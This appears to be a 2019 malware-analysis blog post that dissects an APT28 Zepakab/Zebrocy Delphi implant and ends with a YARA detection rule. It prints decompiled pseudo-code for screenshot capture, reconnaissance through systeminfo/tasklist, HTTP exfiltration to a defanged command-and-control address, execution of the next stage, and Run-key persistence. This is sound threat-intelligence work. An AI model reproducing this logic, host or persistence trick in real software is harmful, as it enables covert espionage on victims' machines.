Let's Learn: (Over)Analyzing One of the Latest APT28 Zepakab/Zebrocy Delphi Implant

Goal: Analyze one of the latest APT28 Zepakab/Zebrocy Delphi implant exploring its functionality (pseudo-source code level).


APT28 Zekapab Implant
3e713a838a68259ae2f9ef2eed05a761

Detection by @cyb3rops and @thor_scanner
— Drunk Binary (@DrunkBinary) January 8, 2019

Source:
APT28 Zepakab/Zebrocy implant (MD5: 3e713a838a68259ae2f9ef2eed05a761
Outline:
I. Background & Executive Summary
II. APT28 Zepakab/Zebrocy Malware Function Analysis
A. ‘MainProcessor’ Function
1. ‘GetDesktopScreenshot’
2. ‘GetHostinformation’
3. ‘PostDataParameters’
4. ‘CheckInstall’
5. Execute Next Stage & Exit
B. ‘GetHostinformation’ Function
C. ‘PostDataParameters’ Function
D. ‘MachineID’ Function
E. ‘LocalInstall’ Function
F. ‘RegistryInstall’ Function
III. Yara Signature
I. Background & Executive Summary
This is a continuation of the APT28 Zepakab/Zebrocy implant malware analysis from previous analysis of these types of malware (1) (2) (3)(4). APT28 is also known as Sofacy, Fancy Bear, STRONTIUM, Pawn Storm, and Sednit.
One of the notable peculiarities is the malware hex-encoding with padded “@” (e.g., user-agent parser string), which meant to slightly complicate direct hex decoding of malware values.
The analysis explores pseudo-coded C++ code with Delphi Borland constructs. It is interesting the group continues to leverage Qhoster  AS49544 I3DNET, NL for its server (“…/action-center/…” path) as the same exact server was noted communicated to the totally different URI (“…/company-device-support/…/” path) on the same exact server as reported by ESET earlier.
II. APT28 Zepakab/Zebrocy Malware Function Analysis
A. ‘MainProcessor’ Function
The APT28 main function calls the main functions of the malware as follows:
1. ‘GetDesktopScreenshot’ 
The sequence of Windows API and Delphi constructs to obtain the Desktop screenshot as (‘.jpg’) is as follows:
GetDesktopWindow -> GetDC -> Forms::TScreen::GetDesktopWidth ->
Forms::TScreen::GetDesktopHeight -> Graphics::TBitmap::TBitmap ->
Jpeg::TJPEGImage::TJPEGImage -> Graphics::TBitmap::GetCanvas ->
Graphics::TCanvas::GetHandle -> BitBlt -> GetDesktopWindow > ReleaseDC
2. ‘GetHostinformation’
The malware obtains the host information enumerating ‘systeminfo’ and ‘taskskist’ combined with the current date and enumerated drives.
3. ‘PostDataParameters’
It leverages this function to call the server for the next stage.
4. ‘CheckInstall’
The sequence of Windows API calls to check if the payload exists locally is as follows:
v2 = FindFirstFileA(v1, &FindFileData) ->

if ((if v2 = (HANDLE)0xFFFFFFFF || (FindClose(FindFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY) and 0
//////////////////////////////
/////// Other than that //////
//////////////////////////////
FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow);
5. Execute Next Stage & Exit
The malware executes the next stage via ShellExecuteA API and exiting via Forms::TApplication::Terminate.
The relevant main pseudo-coded function is as follows:
////////////////////////////////////////////////
////// APT28 Zepakab MainProcessor Excerpt /////
////////////////////////////////////////////////

// ‘hxxp://45[.]124[.]132[.]127/action-center/centerforserviceandaction/
// service-and-action[.]php’
System::linkproc LStrLAsg(&v25, &str_687474703A2F2F3[1]);

GetDesktopScreenshot((int)&v18);
GetHostinformation((int)&v17, a3, a4, a5);
PostDataParameters(v25, (int)&v26, a2, a3, a4);
Sleep_0(4009u);
FindFirstFileA_Attrib
ShellExecuteA

do
{
GetDesktopScreenshot((int)&v18); // Make a desktop screenshot
System::linkproc LStrAsg(v24 + 896, v18);
GetHostinformation((int)&v17, a3, a4, a5); // Collect host information
System::linkproc LStrAsg(v24 + 892, v17);
PostDataParameters(v25, (int)&v26, a2, a3, a4); // Post host infromation to server
trim_process(v26, (int)&v16, a2, a3, a4);
System::linkproc LStrLAsg(&v26, v16);
Sleep_0(4009u); // Sleep for 4009 miliseconds
hex_decode(v26, (int)&v15, a2, a3, a4);
LStrToPChar(v24, v15, *(_DWORD )(v24 + 888));
if ( ++
(_DWORD )(v24 + 0x388) >= 5 )
System::linkproc Halt0();
// Check if installed via FindFirstFileA (FindFileData) attribute
a2 = CheckInstall(
(_DWORD *)(v24 + 888));
if ( a2 <= 0 )
// if not, sleep for 18000 miliseconds
Sleep_0(18000u);
}
while ( a2 <= 0 );
Sleep_0(3000u);
v11 = &savedregs;
v10 = &loc_4E6E36;
v9 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v9);
v7 = (const CHAR )System::linkproc LStrToPChar((_DWORD )(v24 + 888));
// Run payload via ShellExecuteA
ShellExecuteA(0, 0, v7, 0, 0, 0);
__writefsdword(0, v9);
// Terminate application
Forms::TApplication::Terminate(
(Forms::TApplication **)off_4EF164[0]);
__writefsdword(0, v12);
v14 = (int *)&loc_4E6E7B;
System::linkproc LStrArrayClr(&v15, 9);
return System::linkproc LStrArrayClr(&v25, 2);
}
B. ‘GetHostinformation’ Function
The malware obtains the host information via running ‘SYSTEMINFO & TASKLIST’ commands (initially, hex-encoded padded with “@”) via cmd.exe \c pipe function concatenated with the current timestamp as leveraging Sysutils::Now and Sysutils::DateTimeToString.
Then, it obtains the drive information via GetLogicalDriveStringsA and GetDriveTypeA and querying for DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE and concatenating the output.
For example:
UINT drive = GetDriveTypeA(v5);
if ( drive >= 2 && drive <= 4 ) // DRIVE_REMOVABLE, DRIVE_FIXED, DRIVE_REMOTE
The relevent pseudo-coded function is as follows:
////////////////////////////////////////////////
////// Zepakab GetHostinformation Excerpt /////
////////////////////////////////////////////////
int __usercall GetHostinformation(int a1, int a2, int a3, long double a4)
{



v4 = a1;
v15 = &savedregs;
v14 = &loc_4E6499;
v13 = __readfsdword(0);
_writefsdword(0, (unsigned int)&v13);
System::linkproc LStrLAsg(&v24, &str
[1]);// ‘SYSTEMINFO & TASKLIST’
while ( System::Pos(&str___2[1], v24) > 0 ) // ‘@’
{
v5 = System::Pos(&str___2[1], v24);
System::linkproc LStrDelete(&v24, v5, 1);
}
System::linkproc LStrLAsg(&v23, &str____18[1]);//‘\r\n’
System::linkproc LStrClr();
Sysutils::Now();
__asm { fstp [ebp+var_18] }
Sysutils::DateTimeToString(LODWORD(v21), HIDWORD(v21));// Create Date Timestamp Now()
System::linkproc LStrCat3(&v25, v22, v23);
v6 = v25;
GetDriveData((int)&v20, a2); // GetDrive Information
// (removable fixed remote, size total: , size free: )
System::linkproc LStrCatN(&v25, 4, v7, v13, v6, v20, v23, v23);
v8 = v25;
v9 = *off_4EF164[0];
unknown_libname_1118();
System::linkproc LStrCatN(&v25, 3, v10, v14, v13, v8, v19, v23);
hex_decode(v24, (int)&System::AnsiString, v4, a2, a3);
Sysutils::Trim(System::AnsiString);
PipeCmdReadFile(v17, (int)&v18, v4, a2); // CMD Command Runner:
 // ‘cmd.exe /c pipe CreateProcessA’
System::linkproc LStrCat(&v25, v18);
while ( System::Pos(&str___5[1], v25) > 0 ) // ‘&’
{
v11 = System::Pos(&str___5[1], v25);
*(_BYTE *)(j_unknown_libname_87_0(&v25) + v11 - 1) = 44;
}
System::linkproc LStrAsg(v4, v25);
__writefsdword(0, v13);
v15 = (int *)&loc_4E64A0;
System::linkproc LStrArrayClr(&System::AnsiString, 5);
return System::linkproc LStrArrayClr(&v22, 4);
}
C. ‘PostDataParameters’ Function
The malware contactenates and adds the following decoded URI parameters as follows (with the hardcoded padded with ‘@’ user-agent as “Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1”):
info_w
syss
action
It leverages the following Delphi constructs:
TIdCustomHTTP
cls_IdHTTP_TIdHTTP
Idhttp::TIdCustomHTTP::GetRequestHeaders()
Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8)
TIdCustomHTTP with Classes::TStrings
The relevant pseudo-coded function is as follows:
////////////////////////////////////////////////
////// Zepakab PostDataParameters Function /////
////////////////////////////////////////////////
int __usercall PostDataParameters(int a1, int a2, int a3, int a4, int a5)
{



v18 = 0;
v19 = 0;
v20 = 0;
v21 = a2;
v23 = a1;
System::linkproc LStrAddRef(v15, v16, v17);
v14 = &savedregs;
v13 = &loc_4E69A5;
v12 = (int *)__readfsdword(0);
__writefsdword(0, (unsigned int)&v12);
LOBYTE(v5) = 1;
v22 = (System::TObject *)unknown_libname_57(cls_Classes_TStringList, v5);
hex_decode((int)&str_737973733D[1], (int)&v19, a3, a4, a5);// ‘syss=’
System::linkproc LStrCat(&v19, *(_DWORD )(dword_4F4630 + 892));
(
(void (__fastcall **)(System::TObject , int, _DWORD))((_DWORD *)v22 + 56))(v22, v19, *(_DWORD *)v22);
hex_decode((int)&str_616374696F6E3D[1], (int)&v18, a3, a4, a5);// ‘action=’
System::linkproc LStrCat(&v18, *(_DWORD )(dword_4F4630 + 896));
(
(void (__fastcall **)(System::TObject , int))((_DWORD *)v22 + 56))(v22, v18);
v24 = ClassCreate((Idbasecomponent::TIdInitializerComponent *)&cls_IdHTTP_TIdHTTP, 1);
v12 = &savedregs;
v11 = &loc_4E6968;
v10 = __readfsdword(0);
writefsdword(0, (unsigned int)&v10);
System::linkproc LStrLAsg(&v20, &str__M__o_z_il_la
[1]);
// ‘Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1’
while ( System::Pos(&str___3[1], v20) > 0 ) // ‘@’
{
v6 = System::Pos(&str___3[1], v20);
System::linkproc LStrDelete(&v20, v6, 1);
}
v7 = Idhttp::TIdCustomHTTP::GetRequestHeaders(v24);
System::linkproc LStrAsg(v7 + 136, v20);
LOBYTE(v8) = 1;
Idhttp::TIdCustomHTTP::SetAllowCookies((int)v24, v8);
*((_BYTE *)v24 + 288) = 1;
TIdCustomHTTP_0(a3, a4, a5, (int)&savedregs); // ‘?info_w=’
__writefsdword(0, v10);
System::TObject::Free(v24);
System::TObject::Free(v22);
__writefsdword(0, (unsigned int)v13);
v15 = &loc_4E69AC;
System::linkproc LStrArrayClr(&v18, 3);
return System::linkproc LStrClr();
}

D. ‘MachineID’ Function
The malware ID is generated GetVolumeInformationA(c:\) of VolumeNumber concatenated with “-” and computer name via GetComputerNameA API return.
The relevant pseudo-coded function is as follows:
////////////////////////////////////////////////
//////// APT28 Delphi MachineID Function ///////
////////////////////////////////////////////////

int __usercall MachineID(int a1, int a2)
{
  MaximumComponentLength = 0;
v11 = 0;
v10 = 0;
v9 = 0;
v8 = a2;
v2 = a1;
v7 = &savedregs;
v6 = &loc_4E5C66;
v5 = (CHAR *)__readfsdword(0);
__writefsdword(0, (unsigned int)&v5);
LStrClr((int)&str_0_23[1], 16, a1);
if ( GetVolumeInformationA(“c:\”, 0, 0, &VolumeSerialNumber, &MaximumComponentLength, <br />&MaximumComponentLength, 0, 0) )
{
GetComputerNameA_0(v5, v6);
IntToHexStrCat(v11, (int)&v14);
v3 = v14;
if ( v14 )
v3 = *(_DWORD *)(v14 - 4);
if ( v3 < 8 )
{
LStrClr((int)&str___87[1], 17, (int)&v10);// ‘-’
System::linkproc LStrCat(&v14, v10);
}
System::linkproc LStrCopy(&v14);
Sysutils::IntToHex(VolumeSerialNumber, 8);
System::linkproc LStrCat3(v2, v9, v14);
}
__writefsdword(0, (unsigned int)v7);
v9 = &loc_4E5C6D;
System::linkproc LStrArrayClr(&v9, 3);
return System::linkproc LStrClr();
}
E. ‘LocalInstall’ Function
The ‘LocalInstall’ functions leverages hex decoding function coupled with GetEnvironmentVariable(%APPDATA%) concactenating with the LStrCat3 the decoded "\Notification" to create local install path as "%APPDATA%\Notification".
The relevant pseudo-coded function is as follows:
////////////////////////////////////////////////
//////// LocalInstall Function ////////////
////////////////////////////////////////////////
int __usercall LocalInstall(int a1, int a2, int a3)
{

v10 = 0;
v9 = 0;
v3 = a1;
v8 = &savedregs;
v7 = &loc_4E6BC8;
v6 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v6);
hex_decode((int)&str_5C4E6F746966696[1], (int)&v10, a1, a2, a3);// ‘\Notification\’
v4 = v10;
Sysutils::GetEnvironmentVariable((const int)&str_APPDATA[1]);// ‘%APPDATA%’
System::linkproc LStrCat3(v3, v9, v4);
__writefsdword(0, v6);
v8 = (int *)&loc_4E6BCF;
return System::linkproc LStrArrayClr(&v9, 2);
}

if ( !v26 )
{
v5 = *off_4EF164[0];
unknown_libname_1118();
Sysutils::ExtractFilePath(System::AnsiString);
}
hex_decode((int)&str_6D6472762E65786[1], (int)&v21, a2, a3, a4);// ‘mdrv.exe’
System::linkproc LStrCat3(v24 + 888, v26, v21);


}
F. ‘RegistryInstall’ Function
The ‘RegistryInstall’ function sets up the malware persistence in 
‘Software\Microsoft\Windows\CurrentVersion\Run’ disguised as ‘UpdDriver’
The relevant pseudo-coded function is as follows:
////////////////////////////////////////////////
//////// RegistryInstall Function ////////////
////////////////////////////////////////////////
int __usercall RegistryInstall(int a1, int a2, int a3)
{



v7 = 0;
v6 = &savedregs;
v5 = &loc_4E6FAE;
v4 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v4);
hex_decode((int)&str_557064447269766[1], (int)&v7, a1, a2, a3);// ‘UpdDriver’
// ‘Software\Microsoft\Windows\CurrentVersion\Run’
WriteKey(&str_Software_Micros[1], v7, *(_DWORD )(dword_4F4630 + 888));
__writefsdword(0, v4);
v6 = (int )&loc_4E6FB5;
return System::linkproc LStrClr();
}
III. Yara Signature
rule apt28_zepakab_delphi_implant {
meta:
reference = “Detects APT28 Zepakab/Zebrocy Delphi Implant”
author = “@VK_Intel
date = “2019-01-09”
hash1 = “cd925e2464d251f02b4d425e301acf276e13eeccbbf5996ade5a6f355802abb7”
type = “experimental”

strings:
$b0 = “http://www.borland.com/namespaces/Types” fullword ascii wide
$b1 = “SOFTWARE\Borland\Delphi\RTL” fullword ascii wide

$ap0 = “ShellExecuteA” fullword ascii wide
$ap1 = “GetDriveTypeA” fullword ascii wide
$ap2 = “FindFirstFileA” fullword ascii wide
$ap3 = “GetDesktopWindow” fullword ascii wide
$ap4 = “GetEnvironmentVariableA” fullword ascii wide
$ap5 = “BitBlt” fullword ascii wide
$ap6 = “GetDriveTypeA” fullword ascii wide

$sleep = “Sleep” fullword ascii wide

$sysutils = { 79 73 55 74 69 6c 73 }

condition:
( uint16(0) == 0x5a4d and
filesize > 1000KB and all of ($b
) and all of ($ap
) and #sleep > 1 and $sysutils)
}

Article Link: https://www.vkremez.com/2019/01/lets-learn-overanalyzing-one-of-latest.html